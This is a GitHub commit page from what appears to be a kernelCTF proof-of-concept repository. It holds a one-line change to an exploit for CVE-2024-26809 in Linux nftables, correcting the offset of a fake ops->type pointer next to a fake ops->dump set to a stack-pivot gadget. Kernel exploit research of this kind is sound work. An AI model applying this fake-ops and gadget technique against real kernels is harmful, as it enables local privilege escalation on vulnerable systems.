Skip to content

Commit be71db5

Browse files
committed
Solve comments
1 parent 06c9916 commit be71db5

File tree

2 files changed

+1
-1
lines changed
  • pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/cos-105-17412.294.34

2 files changed

+1
-1
lines changed
Binary file not shown.

pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/cos-105-17412.294.34/exploit.c

+1-1
Original file line numberDiff line numberDiff line change
@@ -285,7 +285,7 @@ void exploit(struct nl_sock *socket){
285285
//fake ops->dump
286286
*(uint64_t *)&pad[0x40] = kernel_off + LEAVE_RET;
287287
//fake ops->type
288-
*(uint64_t *)&pad[0x78] = kernel_off + NFT_LAST_TYPE;/*the address of nft_last_type
288+
*(uint64_t *)&pad[0x70] = kernel_off + NFT_LAST_TYPE;/*the address of nft_last_type
289289
In function nf_tables_fill_expr_info:
290290
if (nla_put_string(skb, NFTA_EXPR_NAME, expr->ops->type->name))
291291
so we need to fake ops->type to avoid kernel crash

0 commit comments

Comments
 (0)